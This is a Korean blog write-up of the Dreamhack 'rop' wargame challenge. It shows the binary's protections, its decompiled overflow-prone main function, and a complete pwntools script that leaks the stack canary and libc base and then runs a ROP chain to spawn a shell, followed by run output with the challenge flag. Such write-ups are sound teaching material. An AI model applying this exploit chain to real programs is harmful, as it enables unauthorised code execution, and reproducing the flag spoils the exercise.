콘텐츠로 건너뛰기

rop

Description

Exploit Tech: Return Oriented Programming에서 실습하는 문제입니다.


checksec

seo@seo-virtual-machine:~/Desktop/rop$ checksec --file ./rop
[*] '/home/seo/Desktop/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

이번 문제는 이전 basic_rop_x64 문제와 달리 스택 카나리 보호 기법이 적용되어있다.


Decompiled-src

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[56]; // [rsp+0h] [rbp-40h] BYREF
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5uLL);
  read(0, buf, 256uLL);
  printf("Buf: %s\n", buf);
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5uLL);
  read(0, buf, 256uLL);
  return 0;
}

할당된 56바이트의 buf에 read함수로 256바이트만큼이나 넘치게 입력받고 있다.

그리고 스택 카나리를 노출시킬 수 있도록 입력받은 버퍼를 출력하게끔 코드가 추가되었다.


Solution

이전 basic_rop_x64 문제와 달리 크게 다를바 없다.

처음에 스택 카나리의 1바이트인 \x00을 덮어써서 노출시키게 만들고,
스택 카나리는 유지한채로 스택 오버플로우를 발생시키게 만들면 된다.

스택 카나리는 buf를 57바이트만큼 더미로 채우면 획득할 수 있다.


solve.py

from pwn import *
#context.log_level = 'debug'
warnings.filterwarnings( 'ignore' )

#p = process("./rop")
p = remote('host3.dreamhack.games', 22531)

p.recvuntil("Buf: ")

payload = b""
payload += b"A" * 57

p.send(payload)

canary = p.recvline()
canary = canary.split(b"A")[-1]
canary = canary.split(b"\n")[0]
canary = canary.split(b"\x01")[0]
canary = b"\x00" + canary
canary = u64(canary)
print(f"canary: {hex(canary)}")

p.recvuntil("Buf: ")
pop_rdi_ret = 0x400853
e = ELF('./rop')

payload = b""
payload += b"A"*0x38
payload += p64(canary)
payload += b"B"*0x8
payload += p64(pop_rdi_ret)
payload += p64(e.got['puts'])
payload += p64(e.symbols['puts'])
payload += p64(e.symbols['main'])
p.send(payload)

#get leaked puts_got
puts_got_mem = p.recvline()
puts_got_mem = puts_got_mem[0:6]
puts_got_mem += b"\x00\x00"
puts_got_mem = u64(puts_got_mem)
libc_base = puts_got_mem - 0x80ed0
print(f"puts_got_mem: {hex(puts_got_mem)}")
print(f"libc_base: {hex(libc_base)}")

#Stage 2. execve"/bin/sh", NULL, NULL);
system = 0x50d60 + libc_base
execve = 0xEB0F0 + libc_base
bin_sh = 0x1d8698 + libc_base
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_pop_r12_ret = libc_base + 0x11f497

p.recvuntil("Buf: ")
payload = b""
payload += b"A" * 0x38
payload += p64(canary)
payload += b"B" * 8
#set rdi
payload += p64(pop_rdi_ret) 
payload += p64(bin_sh) #arg1: /bin/sh
#set rsi
payload += p64(pop_rsi_ret)
payload += p64(0) #arg2: NULL
#set rdx
payload += p64(pop_rdx_pop_r12_ret)
payload += p64(0) #rdx #arg3: NULL
payload += p64(0) #r12
payload += p64(execve)
p.send(payload)

p.recvuntil("Buf: ")
p.send(payload)


p.interactive()

Result

seo@seo-virtual-machine:~/Desktop/rop$ python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 22531: Done
canary: 0x80e05aaef4426800
[*] '/home/seo/Desktop/rop/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
puts_got_mem: 0x7ff294c66ed0
libc_base: 0x7ff294be6000
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[2] Input ROP payload
Buf: $ ls
flag
rop
run.sh
$ cat flag
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}
태그:

답글 남기기